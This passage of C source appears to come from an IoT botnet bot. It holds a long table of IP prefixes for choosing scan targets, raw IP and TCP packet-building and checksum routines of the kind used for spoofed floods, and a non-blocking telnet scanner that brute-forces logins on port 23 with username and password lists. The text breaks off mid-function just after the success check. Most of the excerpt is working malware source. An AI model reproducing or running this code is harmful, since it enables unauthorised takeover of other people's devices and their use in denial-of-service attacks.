  1013. }
  1014. if(randnum == 45)
  1015. {
  1016. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  1017. }
  1018. if(randnum == 46)
  1019. {
  1020. szprintf(ip, "62.254.%d.%d", ipState[3], ipState[4]);
  1021. }
  1022. if(randnum == 47)
  1023. {
  1024. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  1025. }
  1026. if(randnum == 48)
  1027. {
  1028. szprintf(ip, "77.96.%d.%d", ipState[3], ipState[4]);
  1029. }
  1030. if(randnum == 49)
  1031. {
  1032. szprintf(ip, "77.97.%d.%d", ipState[3], ipState[4]);
  1033. }
  1034. if(randnum == 50)
  1035. {
  1036. szprintf(ip, "77.98.%d.%d", ipState[3], ipState[4]);
  1037. }
  1038. if(randnum == 51)
  1039. {
  1040. szprintf(ip, "77.100.%d.%d", ipState[3], ipState[4]);
  1041. }
  1042. if(randnum == 52)
  1043. {
  1044. szprintf(ip, "77.102.%d.%d", ipState[3], ipState[4]);
  1045. }
  1046. if(randnum ==53)
  1047. {
  1048. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  1049. }
  1050. if(randnum == 54)
  1051. {
  1052. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  1053. }
  1054. if(randnum == 55)
  1055. {
  1056. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  1057. }
  1058. if(randnum == 56)
  1059. {
  1060. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  1061. }
  1062. if(randnum == 57)
  1063. {
  1064. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  1065. }
  1066. if(randnum == 58)
  1067. {
  1068. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  1069. }
  1070. if(randnum == 59)
  1071. {
  1072. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  1073. }
  1074. if(randnum == 60)
  1075. {
  1076. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  1077. }
  1078. if(randnum == 61)
  1079. {
  1080. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  1081. }
  1082. if(randnum == 62)
  1083. {
  1084. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  1085. }
  1086. if(randnum == 63)
  1087. {
  1088. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  1089. }
  1090. if(randnum == 64)
  1091. {
  1092. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  1093. }
  1094. if(randnum == 65)
  1095. {
  1096. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  1097. }
  1098. if(randnum == 66)
  1099. {
  1100. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  1101. }
  1102. if(randnum == 67)
  1103. {
  1104. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  1105. }
  1106. if(randnum == 68)
  1107. {
  1108. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  1109. }
  1110. if(randnum == 69)
  1111. {
  1112. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  1113. }
  1114. if(randnum == 70)
  1115. {
  1116. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  1117. }
  1118. if(randnum == 71)
  1119. {
  1120. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  1121. }
  1122. if(randnum == 72)
  1123. {
  1124. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  1125. }
  1126. if(randnum == 73)
  1127. {
  1128. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  1129. }
  1130. if(randnum == 74)
  1131. {
  1132. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  1133. }
  1134. if(randnum == 75)
  1135. {
  1136. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  1137. }
  1138. if(randnum == 76)
  1139. {
  1140. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  1141. }
  1142. if(randnum == 77)
  1143. {
  1144. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  1145. }
  1146. if(randnum == 78)
  1147. {
  1148. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  1149. }
  1150. if(randnum == 79)
  1151. {
  1152. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  1153. }
  1154. if(randnum == 80)
  1155. {
  1156. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  1157. }
  1158. if(randnum == 81)
  1159. {
  1160. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  1161. }
  1162. if(randnum == 82)
  1163. {
  1164. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  1165. }
  1166. if(randnum == 83)
  1167. {
  1168. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  1169. }
  1170. if(randnum == 84)
  1171. {
  1172. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  1173. }
  1174. if(randnum == 85)
  1175. {
  1176. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  1177. }
  1178. if(randnum == 86)
  1179. {
  1180. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  1181. }
  1182. if(randnum == 87)
  1183. {
  1184. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  1185. }
  1186. if(randnum == 88)
  1187. {
  1188. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  1189. }
  1190. if(randnum == 89)
  1191. {
  1192. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  1193. }
  1194. if(randnum == 90)
  1195. {
  1196. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  1197. }
  1198. if(randnum == 91)
  1199. {
  1200. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  1201. }
  1202. if(randnum == 92)
  1203. {
  1204. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  1205. }
  1206. if(randnum == 93)
  1207. {
  1208. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  1209. }
  1210. if(randnum == 94)
  1211. {
  1212. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1213. }
  1214. if(randnum == 95)
  1215. {
  1216. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  1217. }
  1218. if(randnum == 96)
  1219. {
  1220. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1221. }
  1222. if(randnum == 97)
  1223. {
  1224. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  1225. }
  1226. if(randnum == 98)
  1227. {
  1228. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  1229. }
  1230. if(randnum == 99)
  1231. {
  1232. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  1233. }
  1234. if(randnum == 100)
  1235. {
  1236. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  1237. }
  1238. if(randnum == 101)
  1239. {
  1240. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  1241. }
  1242. if(randnum == 102)
  1243. {
  1244. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1245. }
  1246. if(randnum == 103)
  1247. {
  1248. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1249. }
  1250. if(randnum == 104)
  1251. {
  1252. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1253. }
  1254. if(randnum == 105)
  1255. {
  1256. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1257. }
  1258. if(randnum == 106)
  1259. {
  1260. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1261. }
  1262. if(randnum == 107)
  1263. {
  1264. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1265. }
  1266. if(randnum == 108)
  1267. {
  1268. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1269. }
  1270. if(randnum == 109)
  1271. {
  1272. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1273. }
  1274. if(randnum == 110)
  1275. {
  1276. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1277. }
  1278. if(randnum == 111)
  1279. {
  1280. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1281. }
  1282. if(randnum == 112)
  1283. {
  1284. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1285. }
  1286. if(randnum == 113)
  1287. {
  1288. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1289. }
  1290. if(randnum == 114)
  1291. {
  1292. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1293. }
  1294. if(randnum == 115)
  1295. {
  1296. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1297. }
  1298. if(randnum == 116)
  1299. {
  1300. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1301. }
  1302. if(randnum == 117)
  1303. {
  1304. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1305. }
  1306. if(randnum == 118)
  1307. {
  1308. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1309. }
  1310. if(randnum == 119)
  1311. {
  1312. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1313. }
  1314. if(randnum == 120)
  1315. {
  1316. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1317. }
  1318. if(randnum == 121)
  1319. {
  1320. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1321. }
  1322. if(randnum == 122)
  1323. {
  1324. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1325. }
  1326. if(randnum == 123)
  1327. {
  1328. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1329. }
  1330. if(randnum == 124)
  1331. {
  1332. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1333. }
  1334. if(randnum == 125)
  1335. {
  1336. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1337. }
  1338. if(randnum == 126)
  1339. {
  1340. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1341. }
  1342. if(randnum == 127)
  1343. {
  1344. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1345. }
  1346. if(randnum == 128)
  1347. {
  1348. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1349. }
  1350. if(randnum == 129)
  1351. {
  1352. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1353. }
  1354. if(randnum == 130)
  1355. {
  1356. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1357. }
  1358. if(randnum == 131)
  1359. {
  1360. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1361. }
  1362. if(randnum == 132)
  1363. {
  1364. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1365. }
  1366. if(randnum == 133)
  1367. {
  1368. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1369. }
  1370. if(randnum == 134)
  1371. {
  1372. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1373. }
  1374. if(randnum == 135)
  1375. {
  1376. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1377. }
  1378. if(randnum == 136)
  1379. {
  1380. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1381. }
  1382. if(randnum == 137)
  1383. {
  1384. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1385. }
  1386. if(randnum == 138)
  1387. {
  1388. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1389. }
  1390. if(randnum == 139)
  1391. {
  1392. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1393. }
  1394. if(randnum == 140)
  1395. {
  1396. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1397. }
  1398. if(randnum == 141)
  1399. {
  1400. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1401. }
  1402. if(randnum == 142)
  1403. {
  1404. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1405. }
  1406. if(randnum == 143)
  1407. {
  1408. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1409. }
  1410. if(randnum == 144)
  1411. {
  1412. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1413. }
  1414. if(randnum == 145)
  1415. {
  1416. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1417. }
  1418. if(randnum == 146)
  1419. {
  1420. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1421. }
  1422. if(randnum == 147)
  1423. {
  1424. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1425. }
  1426. if(randnum == 148)
  1427. {
  1428. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1429. }
  1430. if(randnum == 149)
  1431. {
  1432. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1433. }
  1434. if(randnum == 150)
  1435. {
  1436. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1437. }
  1438. if(randnum == 151)
  1439. {
  1440. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1441. }
  1442. if(randnum == 152)
  1443. {
  1444. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1445. }
  1446. if(randnum == 153)
  1447. {
  1448. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1449. }
  1450. if(randnum == 154)
  1451. {
  1452. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1453. }
  1454. if(randnum == 155)
  1455. {
  1456. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1457. }
  1458. if(randnum == 156)
  1459. {
  1460. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1461. }
  1462. if(randnum == 157)
  1463. {
  1464. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1465. }
  1466. if(randnum == 158)
  1467. {
  1468. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1469. }
  1470. if(randnum == 159)
  1471. {
  1472. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1473. }
  1474. if(randnum == 160)
  1475. {
  1476. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1477. }
  1478. if(randnum == 161)
  1479. {
  1480. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1481. }
  1482. if(randnum == 162)
  1483. {
  1484. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1485. }
  1486. if(randnum == 163)
  1487. {
  1488. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1489. }
  1490. if(randnum == 164)
  1491. {
  1492. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1493. }
  1494. if(randnum == 165)
  1495. {
  1496. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1497. }
  1498. if(randnum == 166)
  1499. {
  1500. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1501. }
  1502. if(randnum == 167)
  1503. {
  1504. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1505. }
  1506. if(randnum == 168)
  1507. {
  1508. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1509. }
  1510. if(randnum == 169)
  1511. {
  1512. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1513. }
  1514. if(randnum == 171)
  1515. {
  1516. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1517. }
  1518. if(randnum == 172)
  1519. {
  1520. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1521. }
  1522. if(randnum == 173)
  1523. {
  1524. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1525. }
  1526. if(randnum == 174)
  1527. {
  1528. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1529. }
  1530. if(randnum == 175)
  1531. {
  1532. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1533. }
  1534. if(randnum == 176)
  1535. {
  1536. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1537. }
  1538. if(randnum == 177)
  1539. {
  1540. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1541. }
  1542. if(randnum == 178)
  1543. {
  1544. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1545. }
  1546. if(randnum == 179)
  1547. {
  1548. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1549. }
  1550. if(randnum == 180)
  1551. {
  1552. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1553. }
  1554. if(randnum == 181)
  1555. {
  1556. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1557. }
  1558. if(randnum == 182)
  1559. {
  1560. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  1561. }
  1562. if(randnum == 183)
  1563. {
  1564. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1565. }
  1566. if(randnum == 184)
  1567. {
  1568. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1569. }
  1570. if(randnum == 185)
  1571. {
  1572. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1573. }
  1574. if(randnum == 186)
  1575. {
  1576. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1577. }
  1578. if(randnum == 187)
  1579. {
  1580. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1581. }
  1582. if(randnum == 188)
  1583. {
  1584. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1585. }
  1586. if(randnum == 189)
  1587. {
  1588. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1589. }
  1590. if(randnum == 190)
  1591. {
  1592. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1593. }
  1594. if(randnum == 191)
  1595. {
  1596. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1597. }
  1598. if(randnum == 192)
  1599. {
  1600. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1601. }
  1602. if(randnum == 193)
  1603. {
  1604. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1605. }
  1606. if(randnum == 194)
  1607. {
  1608. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1609. }
  1610. if(randnum == 195)
  1611. {
  1612. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1613. }
  1614. if(randnum == 196)
  1615. {
  1616. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1617. }
  1618. if(randnum == 197)
  1619. {
  1620. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1621. }
  1622. if(randnum == 198)
  1623. {
  1624. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1625. }
  1626. if(randnum == 199)
  1627. {
  1628. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1629. }
  1630. if(randnum == 200)
  1631. {
  1632. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1633. }
  1634. if(randnum == 201)
  1635. {
  1636. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1637. }
  1638. if(randnum == 201)
  1639. {
  1640. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1641. }
  1642. if(randnum == 202)
  1643. {
  1644. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1645. }
  1646. if(randnum == 203)
  1647. {
  1648. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1649. }
  1650. if(randnum == 204)
  1651. {
  1652. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1653. }
  1654. if(randnum == 205)
  1655. {
  1656. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1657. }
  1658. if(randnum == 206)
  1659. {
  1660. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1661. }
  1662. if(randnum == 207)
  1663. {
  1664. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1665. }
  1666. if(randnum == 208)
  1667. {
  1668. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  1669. }
  1670.  
  1671. return inet_addr(ip);
  1672. }
  1673.  
  1674.  
  1675. in_addr_t GetRandomIP(in_addr_t netmask)
  1676. {
  1677. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1678. return tmp ^ ( rand_cmwc() & ~netmask);
  1679. }
  1680.  
  1681. unsigned short csum (unsigned short *buf, int count)
  1682. {
  1683. register uint64_t sum = 0;
  1684. while( count > 1 ) { sum += *buf++; count -= 2; }
  1685. if(count > 0) { sum += *(unsigned char *)buf; }
  1686. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1687. return (uint16_t)(~sum);
  1688. }
  1689.  
  1690. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1691. {
  1692.  
  1693. struct tcp_pseudo
  1694. {
  1695. unsigned long src_addr;
  1696. unsigned long dst_addr;
  1697. unsigned char zero;
  1698. unsigned char proto;
  1699. unsigned short length;
  1700. } pseudohead;
  1701. unsigned short total_len = iph->tot_len;
  1702. pseudohead.src_addr=iph->saddr;
  1703. pseudohead.dst_addr=iph->daddr;
  1704. pseudohead.zero=0;
  1705. pseudohead.proto=IPPROTO_TCP;
  1706. pseudohead.length=htons(sizeof(struct tcphdr));
  1707. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1708. unsigned short *tcp = malloc(totaltcp_len);
  1709. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1710. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1711. unsigned short output = csum(tcp,totaltcp_len);
  1712. free(tcp);
  1713. return output;
  1714. }
  1715.  
  1716. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1717. {
  1718. iph->ihl = 5;
  1719. iph->version = 4;
  1720. iph->tos = 0;
  1721. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1722. iph->id = rand_cmwc();
  1723. iph->frag_off = 0;
  1724. iph->ttl = MAXTTL;
  1725. iph->protocol = protocol;
  1726. iph->check = 0;
  1727. iph->saddr = source;
  1728. iph->daddr = dest;
  1729. }
  1730.  
  1731. int sclose(int fd)
  1732. {
  1733. if(3 > fd) return 1;
  1734. close(fd);
  1735. return 0;
  1736. }
  1737. int socket_connect(char *host, in_port_t port) {
  1738. struct hostent *hp;
  1739. struct sockaddr_in addr;
  1740. int on = 1, sock;
  1741. if ((hp = gethostbyname(host)) == NULL) return 0;
  1742. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1743. addr.sin_port = htons(port);
  1744. addr.sin_family = AF_INET;
  1745. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1746. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1747. if (sock == -1) return 0;
  1748. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1749. return 0;
  1750. return sock;
  1751. }
  1752.  
  1753. //Telnet scanner by Ah.Jonah
  1754. void StartTheLelz() {
  1755. int i, res, j;
  1756. char buf[128], cur_dir;
  1757. int wait_usec = 10;
  1758. int maxfds = 1000;
  1759. int max = maxfds;
  1760. fd_set fdset;
  1761. struct timeval tv;
  1762. socklen_t lon;
  1763. int valopt;
  1764. srand(time(NULL) ^ rand_cmwc());
  1765. char line[256];
  1766. char* buffer;
  1767. struct sockaddr_in dest_addr;
  1768. dest_addr.sin_family = AF_INET;
  1769. dest_addr.sin_port = htons(23);
  1770. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1771. buffer = malloc(BUFFER_SIZE + 1);
  1772. memset(buffer, 0, BUFFER_SIZE + 1);
  1773. struct telstate_t fds[max];
  1774. memset(fds, 0, max * (sizeof(int) + 1));
  1775. for(i = 0; i < max; i++) {
  1776. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1777. fds[i].complete = 1;
  1778. fds[i].sockbuf = buffer; }
  1779. while(1) {
  1780. for(i = 0; i < max; i++) {
  1781. if(fds[i].totalTimeout == 0) {
  1782. fds[i].totalTimeout = time(NULL); }
  1783. switch(fds[i].state) {
  1784. case 0: {
  1785. if(fds[i].complete == 1) {
  1786. char *tmp = fds[i].sockbuf;
  1787. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1788. fds[i].sockbuf = tmp;
  1789. fds[i].ip = HackerScan2(); }
  1790. else if(fds[i].complete == 0) {
  1791. fds[i].passwordInd++;
  1792. fds[i].usernameInd++;
  1793. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1794. fds[i].complete = 1;
  1795. continue; }
  1796. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1797. fds[i].complete = 1;
  1798. continue;
  1799. }
  1800. }
  1801. dest_addr.sin_family = AF_INET;
  1802. dest_addr.sin_port = htons(23);
  1803. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1804. dest_addr.sin_addr.s_addr = fds[i].ip;
  1805. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1806. if(fds[i].fd == -1) continue;
  1807. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1808. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1809. sclose(fds[i].fd);
  1810. fds[i].complete = 1; }
  1811. else {
  1812. fds[i].state = 1;
  1813. fds[i].totalTimeout = 0;
  1814. }
  1815. }
  1816. break;
  1817. case 1:
  1818. {
  1819. FD_ZERO(&fdset);
  1820. FD_SET(fds[i].fd, &fdset);
  1821. tv.tv_sec = 0;
  1822. tv.tv_usec = wait_usec;
  1823. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1824. if(res == 1) {
  1825. lon = sizeof(int);
  1826. valopt = 0;
  1827. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1828. if(valopt) {
  1829. sclose(fds[i].fd);
  1830. fds[i].state = 0;
  1831. fds[i].complete = 1;
  1832. } else {
  1833. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1834. fds[i].totalTimeout = 0;
  1835. fds[i].bufUsed = 0;
  1836. memset(fds[i].sockbuf, 0, 1024);
  1837. fds[i].state = 2;
  1838. } continue; }
  1839. else if(res == -1) {
  1840. sclose(fds[i].fd);
  1841. fds[i].state = 0;
  1842. fds[i].complete = 1;
  1843. continue; }
  1844. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1845. sclose(fds[i].fd);
  1846. fds[i].state = 0;
  1847. fds[i].complete = 1;
  1848. }
  1849. }
  1850. break;
  1851. case 2:
  1852. {
  1853. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  1854. if(contains_fail(fds[i].sockbuf)) {
  1855. fds[i].state = 0;
  1856. } else {
  1857. fds[i].state = 3; }
  1858. continue; }
  1859. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1860. fds[i].state = 0;
  1861. fds[i].complete = 1;
  1862. }
  1863. }
  1864. break;
  1865. case 3: {
  1866. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1867. fds[i].state = 0;
  1868. fds[i].complete = 1;
  1869. continue; }
  1870. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1871. fds[i].state = 0;
  1872. fds[i].complete = 1;
  1873. continue; }
  1874. fds[i].state = 4; }
  1875. break;
  1876. case 4:
  1877. {
  1878. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1879. {
  1880. if(contains_fail(fds[i].sockbuf)) {
  1881. fds[i].state = 0;
  1882. } else {
  1883. fds[i].state = 5; }
  1884. continue; }
  1885. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1886. fds[i].state = 0;
  1887. fds[i].complete = 1;
  1888. }
  1889. }
  1890. break;
  1891. case 5:
  1892. {
  1893. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1894. fds[i].state = 0;
  1895. fds[i].complete = 1;
  1896. continue; }
  1897. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1898. fds[i].state = 0;
  1899. fds[i].complete = 1;
  1900. continue; }
  1901. fds[i].state = 6;
  1902. }
  1903. break;
  1904. case 6:
  1905. {
  1906. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  1907. fds[i].totalTimeout = time(NULL);
  1908. if(contains_fail(fds[i].sockbuf)) {
  1909. fds[i].state = 0; }
  1910. else if(contains_success(fds[i].sockbuf)) {
  1911. if(fds[i].complete == 2) {
  1912. fds[i].state = 7; }
  1913. else {
